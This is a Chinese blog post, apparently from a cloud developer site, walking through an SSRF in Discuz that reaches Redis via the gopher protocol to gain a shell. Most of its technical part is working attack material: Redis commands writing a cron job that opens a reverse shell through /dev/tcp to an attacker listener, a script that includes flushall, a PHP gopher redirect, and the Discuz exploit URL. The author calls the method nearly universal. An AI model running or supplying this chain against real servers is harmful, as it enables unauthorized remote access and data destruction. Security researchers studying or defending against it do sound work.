Discuz-ssrf攻击redis getshell(Gopher协议)

本文涉及的产品
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
云数据库 Tair(兼容Redis),内存型 2GB
简介: 不知不觉踏入安全已经有段时间了...这个过程的确很艰辛,很累,随着突发奇想的那一刻,决定了一直走下去,这期间几乎是没日没夜地去学习,忘记了时间,放弃了很多其他事情,学习之路真的不是那么简单,有时候甚至会很迷茫,不知该如何走下去了...

不知不觉踏入安全已经有段时间了...这个过程的确很艰辛,很累,随着突发奇想的那一刻,决定了一直走下去,这期间几乎是没日没夜地去学习,忘记了时间,放弃了很多其他事情,学习之路真的不是那么简单,有时候甚至会很迷茫,不知该如何走下去了...

   于此之间,也出现了那些给予过我帮助的人,在一个小团队氛围中也体验到了技术分享的乐趣,小伙伴们也十分热爱安全,正是因为有着同样兴趣、目标的我们,从网络世界的陌生人,逐渐变得熟悉,大家也都慢慢步入了正轨...

   曾经立下的目标也暂时都实现了,一直在进步,一直会学习,毕竟人不努力一把,你都不知道自己有多大的潜力,还有,一定要保持当初那份热爱,问问自己到底为什么要学安全?保留住自己当初提交第一个漏洞时的那份喜悦、激动,保持初心...持续前进


   偶然看到的那段触动心底的话,说出了多少人的心声


   print("专注做点事情,至少对得起岁月光阴,让技术纯粹点")    # 共勉


好了...闲聊到这吧.还有技术正题呢少侠hahaha


#001 环境搭建:

  • Centos7(安装有apache,php,mysql,redis)
  • 利用winscp把discuz的源码拖到var/www/html目录下:
  • chmod -R 777 upload/ 改一下权限
  • 然后访问192.168.136.133/upload进行安装,但是访问的时候愣是给我提示目录不存在,并且相关文件不可写


  • 但是查看权限是有的


  • 经过各种尝试无果,开始了漫长的百度之旅,皇天不负有心人,我看到了一位兄弟和我有类似的悲惨经历,以下是他的心声:


  • 我赶紧打开我的centos7敲了一波:setenforce 0


  • 再次打开浏览器访问192.168.136.133/upload目录,全部正常了:


  • 根据提示点击下一步,终于看到了熟悉的面孔


  • 访问一波正常,到此环境搭建完成:



#002 漏洞复现操作:

  • 本地操作利用计划任务反弹shell

复现环境:win7(装有nc),centos7-discuz+redis

  • Win7开启nc监听:


  • Centos7首先开启redis服务:


  • 操作redis写计划任务反弹shell,在redis-cli中输入以下命令:







set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.136.132/6666 0<&1 2>&1\n"
config set dir /var/spool/cron/  # 根据实际系统版本路径会不相同
config set dbfilename root
save

  • 回到win7中查看结果,成功接收到反弹的shell:


  • 执行以下命令 /usr/sbin/ifconfig,本地利用计划任务反弹shell就成功了


#003 公网服务器利用gopher协议来写计划任务:

  • 先写一个shell脚本,输入一下命令,保存为shell.sh,并上传到centos7:











redis-cli -h $1 -p $2 flushall //可不写,实战中千万慎用,最好别写...
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.136.132/3333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

  • bash命令执行shell.sh,看到ok代表执行成功


  • win7用nc开启监听,回到win7查看返回结果,成功接收到反弹的shell


  • 我们要抓取redis攻击tcp的数据包,可以使用socat端口转发。
  • Socat命令进行端口转发,把本地6379收到的流量转发到本地2222端口上
  • socat监听2222端口,抓取tcp数据包:
socat -v tcp-listen:2222,fork tcp-connect:localhost:6379
  • bash命令执行shell.sh脚本,并且带上127.0.0.1 2222

bash shell.sh 127.0.0.1 2222


  • 可以看到成功抓取到了tcp数据包,然后将抓取到的内容复制,并保存为1.log


  • 利用redis_ssrf.py脚本转换1.log,生成gopher协议可支持的payload


  • 将生成的payload放入公网的文件gopher.php中,内容如下





<?php
header("Location:gopher://127.0.0.1:6379/_payload");
?>


  • 然后discuz访问payload

http://192.168.136.133/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://192.168.133.133/gopher.php?data=he2lo.jpg[/img]

Win7开启nc监听6666端口,就会反弹shell


此方法几乎通用,根据实际情况稍微调整一下即可,利用ssrf的协议还有其他的,例如dict等等,本文只是抛砖引玉,祝各位表哥端午快乐!

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
目录
相关文章
|
6月前
|
NoSQL Redis
Redis原理之网络通信协议笔记
1. RESP协议 ​2. 自定义Socket连接Redis
|
6月前
|
消息中间件 移动开发 NoSQL
Redis 协议 事务 发布订阅 异步连接
Redis 协议 事务 发布订阅 异步连接
|
6月前
|
NoSQL Go Redis
Golang实现redis系列-(3)封装RESP协议
Golang实现redis系列-(3)封装RESP协议
54 0
|
6月前
|
存储 NoSQL 关系型数据库
Redis协议与异步方式(redis网络层、pipeline、事务、lua脚本、ACID特性、发布订阅、hiredis实现同步连接与异步连接)
Redis协议与异步方式(redis网络层、pipeline、事务、lua脚本、ACID特性、发布订阅、hiredis实现同步连接与异步连接)
193 0
|
6月前
|
存储 NoSQL 关系型数据库
redis协议与异步方式
redis协议与异步方式
474 0
|
6月前
|
NoSQL 关系型数据库 MySQL
Redis协议与异步方式
Redis协议与异步方式
163 0
|
6月前
|
存储 缓存 NoSQL
Redis进阶-Redis集群原理剖析及gossip协议初探
Redis进阶-Redis集群原理剖析及gossip协议初探
141 0
|
6月前
|
存储 运维 NoSQL
深入理解Redis集群模式、协议、元数据维护方式
深入理解Redis集群模式、协议、元数据维护方式
263 0
|
12月前
|
存储 NoSQL 关系型数据库
redis协议与异步方式(redis网络层、pipeline、事务、lua脚本、ACID特性、发布订阅、hiredis实现同步连接与异步连接)
redis协议与异步方式(redis网络层、pipeline、事务、lua脚本、ACID特性、发布订阅、hiredis实现同步连接与异步连接)
181 0
|
存储 机器学习/深度学习 NoSQL
深入理解 Redis cluster GOSSIP 协议
深入理解 Redis cluster GOSSIP 协议
502 0